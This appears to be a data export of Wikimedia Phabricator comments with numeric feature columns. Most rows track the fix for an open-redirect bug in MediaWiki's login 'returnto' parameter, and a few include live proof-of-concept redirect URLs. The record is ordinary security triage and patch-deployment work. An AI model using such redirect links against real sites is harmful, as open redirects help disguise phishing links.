1111670,Provide shareable deep URL to login in Phabricator,"https://phabricator.wikimedia.org/auth/start/ should be clear enough nowadays, given that the other button is called ""Developer account"".",,,1532719600,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ve6ioj5ain4rwxonzkws,task_subcomment,,True,c3,3,True,,,160,True,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,0.9473684210526315,"URL should be clear enough nowadays, given that the other button is called ""Developer account""."
509590,Provide shareable deep URL to login in Phabricator,"I'm looking into a solution to this, possibly by way of T963",,,1439829675,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ve6ioj5ain4rwxonzkws,task_subcomment,,True,c3,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.5,1.0,"I'm looking into a solution to this, possibly by way of T963"
109140,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"As a logged in user, https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=google:foo will redirect you to a Google search for ""foo"". 

And if you're not logged in, it will redirect you to Google after you finish logging in.

Discovered by @valhallasw.",Low,25.0,1439588100,1490896774.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-hfu3kty732tqzl625nfz,task_description,resolved,True,c3,3,True,False,False,6,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,2.0,0.0,9.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,20.0,9.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.590909090909091,0.6363636363636364,"As a logged in user, URL will redirect you to a Google search for ""foo"". 

And if you're not logged in, it will redirect you to Google after you finish logging in.

Discovered bySCREEN_NAME."
838733,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 347018 merged by jenkins-bot:
[mediawiki/core@wmf/1.29.0-wmf.19] SECURITY: Do not directly redirect to interwikis, but use splash page

[[https://gerrit.wikimedia.org/r/347018]]
",,,1491583645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9722222222222223,0.8055555555555556,"Change 347018 merged by jenkins-bot:
[mediawiki/core@wmf/1.29.0-wmf.19] SECURITY: Do not directly redirect to interwikis, but use splash page

[[GERRIT_URL]]
"
838722,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 347018 had a related patch set uploaded (by Chad; owner: Brian Wolff):
[mediawiki/core@wmf/1.29.0-wmf.19] SECURITY: Do not directly redirect to interwikis, but use splash page

[[https://gerrit.wikimedia.org/r/347018]]
",,,1491582619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,3.911111111111111,0.8666666666666667,"Change 347018 had a related patch set uploaded (by Chad; owner: Brian Wolff):
[mediawiki/core@wmf/1.29.0-wmf.19] SECURITY: Do not directly redirect to interwikis, but use splash page

[[GERRIT_URL]]
"
838308,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 346858 merged by jenkins-bot:
[mediawiki/core@REL1_28] SECURITY: Do not directly redirect to interwikis, but use splash page

[[https://gerrit.wikimedia.org/r/346858]]
",,,1491515816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.911764705882353,0.8235294117647058,"Change 346858 merged by jenkins-bot:
[mediawiki/core@REL1_28] SECURITY: Do not directly redirect to interwikis, but use splash page

[[GERRIT_URL]]
"
838302,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 346848 merged by jenkins-bot:
[mediawiki/core@REL1_27] SECURITY: Do not directly redirect to interwikis, but use splash page

[[https://gerrit.wikimedia.org/r/346848]]
",,,1491515212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.911764705882353,0.8235294117647058,"Change 346848 merged by jenkins-bot:
[mediawiki/core@REL1_27] SECURITY: Do not directly redirect to interwikis, but use splash page

[[GERRIT_URL]]
"
838277,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 346839 merged by jenkins-bot:
[mediawiki/core@master] SECURITY: Do not directly redirect to interwikis, but use splash page

[[https://gerrit.wikimedia.org/r/346839]]
",,,1491512595,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.8823529411764706,0.8235294117647058,"Change 346839 merged by jenkins-bot:
[mediawiki/core@master] SECURITY: Do not directly redirect to interwikis, but use splash page

[[GERRIT_URL]]
"
834699,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Closing for ease of tracking progress. Patches attached to parent bug, due for next release",,,1490896774,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,91,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.529411764705882,0.9411764705882353,"Closing for ease of tracking progress. Patches attached to parent bug, due for next release"
797009,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Rebased version in `/srv/patches/1.29.0-wmf.9/core/01-T109140.patch`. The patch mis-applied due to a refactoring of the method it changes and caused fatals. I've updated both wmf.9 on tin and synced out, along with fixing up the patch file.",,,1485300309,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,81,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,21.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8333333333333335,0.8809523809523809,"Rebased version in CODE. The patch mis-applied due to a refactoring of the method it changes and caused fatals. I've updated both wmf.9 on tin and synced out, along with fixing up the patch file."
777242,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,">>! In T109140#2870462, @Tgr wrote:
> FWIW I think it's not a good trade-off to kick these low-severity patches forward in secret for months (not so much because of the occasional need for rebase as for MediaWiki for third parties not getting the fix for a long time).

+1",,,1481667485,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.8,"QUOTE
QUOTE

+1"
777139,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Rebased version in `/srv/patches/1.29.0-wmf.6/core/01-T109140.patch` (it was just an i18n conflict).
FWIW I think it's not a good trade-off to kick these low-severity patches forward in secret for months (not so much because of the occasional need for rebase as for MediaWiki for third parties not getting the fix for a long time).",,,1481661918,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,75,True,2.0,0.0,0.0,0.0,5.0,11.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,19.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,8.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.6875,0.78125,"Rebased version in CODE (it was just an i18n conflict).
FWIW I think it's not a good trade-off to kick these low-severity patches forward in secret for months (not so much because of the occasional need for rebase as for MediaWiki for third parties not getting the fix for a long time)."
777089,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Hey @Tgr, can you rebase this patch for 1.29.0-wmf.6?",,,1481658502,,PHID-USER-kf224u62afnn727j4brt,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,17.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"HeySCREEN_NAME, can you rebase this patch for 1.29.0-wmf.6?"
777060,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,The patch no longer applies as of `1.29.0-wmf.9`,,,1481657114,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,The patch no longer applies as of CODE
753061,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Note to self, there is a similar issues in CentralAuth.",,,1478002556,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,69,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Note to self, there is a similar issues in CentralAuth."
730403,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,@dpatrick a good candidate for making non-secret IMO.,,,1474144769,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,63,True,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,4.363636363636363,1.0,SCREEN_NAME a good candidate for making non-secret IMO.
720185,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,With wmf.17 https://www.mediawiki.org/wiki/Special:UserLogin?returnto=google:foo  gives me the splash screen.   Kudos that looks great.,,,1472585773,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.6875,0.9375,With wmf.17 URL  gives me the splash screen.   Kudos that looks great.
719948,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"THANK YOU @tgr !!!

I have grabbed your attachment on tin and saved it as:

    /srv/patches/1.28.0-wmf.17/core/01-T109140-rebased.patch

The old one that no more apply is kept behind as `01-T109140.patch-OLD`.



That is going to land on testwiki/mediawiki tonight as I push wmf.17  to group0.",,,1472568353,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,13.0,0.0,2.0,5.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,0.0,6.0,11.0,8.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.9047619047619047,0.7619047619047619,"THANK YOUSCREEN_NAME !!!

I have grabbed your attachment on tin and saved it as:

    /srv/patches/1.28.0-wmf.17/core/01-T109140-rebased.patch

The old one that no more apply is kept behind as CODE.



That is going to land on testwiki/mediawiki tonight as I push wmf.17  to group0."
719733,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"//oops, Phabricator handles network connection issues poorly. Removed duplicate.//",,,1472538520,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.7272727272727275,1.0,"//oops, Phabricator handles network connection issues poorly. Removed duplicate.//"
719726,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"{F4415405}
Rebased (and fixed a typo in LoginHelper), reviewed, tested. CR+2, does what it intends to.
Some minor quibbles that are probably more convenient to handle once the patch is public:
* should this be applied to OutputPage::addReturnTo?
* use PROTO_HTTPS by default, safer and less trouble with caching
* bunch of incorrect capitalizations in Title::getFullUrlForRedirect (also, getFullURL vs. getFullUrlForRedirect, although I do prefer the latter personally)
* GoToInterwiki should probably be a hidden special page?
* not really needed for Preferences and PageLanguage",,,1472537936,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.5,0.0,0.0,0.5,1.0,6.0,1.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,6.0,7.5,0.0,1.0,1.5,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,8.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,2.5,8.5,1.0,2.5,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.5,7.5,6.0,1.5,0.0,0.0,1.5,0.0,1.0,1.5,0.0,1.0,2.5,0.0,1.0,4.666666666666667,0.8518518518518519,"{F4415405}
Rebased (and fixed a typo in LoginHelper), reviewed, tested. CR+2, does what it intends to.
Some minor quibbles that are probably more convenient to handle once the patch is public:
* should this be applied to OutputPage::addReturnTo?
* use PROTO_HTTPS by default, safer and less trouble with caching
* bunch of incorrect capitalizations in Title::getFullUrlForRedirect (also, getFullURL vs. getFullUrlForRedirect, although I do prefer the latter personally)
* GoToInterwiki should probably be a hidden special page?
* not really needed for Preferences and PageLanguage"
719725,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"{F4415405}
Rebased (and fixed a typo in LoginHelper), reviewed, tested. CR+2, does what it intends to.
Some minor quibbles that are probably more convenient to handle once the patch is public:
* should this be applied to OutputPage::addReturnTo?
* use PROTO_HTTPS by default, safer and less trouble with caching
* bunch of incorrect capitalizations in Title::getFullUrlForRedirect (also, getFullURL vs. getFullUrlForRedirect, although I do prefer the latter personally)
* GoToInterwiki should probably be a hidden special page?
* not really needed for Preferences and PageLanguage",,,1472537906,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.5,0.0,0.0,0.5,1.0,6.0,1.5,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,6.0,7.5,0.0,1.0,1.5,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.5,0.0,8.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,3.0,2.5,8.5,1.0,2.5,4.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.5,7.5,6.0,1.5,0.0,0.0,1.5,0.0,1.0,1.5,0.0,1.0,2.5,0.0,1.0,4.666666666666667,0.8518518518518519,"{F4415405}
Rebased (and fixed a typo in LoginHelper), reviewed, tested. CR+2, does what it intends to.
Some minor quibbles that are probably more convenient to handle once the patch is public:
* should this be applied to OutputPage::addReturnTo?
* use PROTO_HTTPS by default, safer and less trouble with caching
* bunch of incorrect capitalizations in Title::getFullUrlForRedirect (also, getFullURL vs. getFullUrlForRedirect, although I do prefer the latter personally)
* GoToInterwiki should probably be a hidden special page?
* not really needed for Preferences and PageLanguage"
719564,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,@hashar you marked this as a blocker to wmf.16. You start rolling out wmf.17 tomorrow: what should happen? Should we remove this as a blocker to wmf.16? add it as a blocker to wmf.17? Actually block wmf.17 with it (which the previous choice presumes)?,,,1472504340,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,15.0,4.0,8.0,0.0,0.0,10.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,4.076923076923077,0.6923076923076923,SCREEN_NAME you marked this as a blocker to wmf.16. You start rolling out wmf.17 tomorrow: what should happen? Should we remove this as a blocker to wmf.16? add it as a blocker to wmf.17? Actually block wmf.17 with it (which the previous choice presumes)?
717281,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"wmf.16 is on group0 and group1 now.  The external interwiki redirect is present on both wmf.15 (eg enwiki) and wmf.16 (eg mediawikiwiki).

https://en.wikipedia.org/wiki/Special:UserLogin?returnto=google:foo
https://www.mediawiki.org/wiki/Special:UserLogin?returnto=google:foo

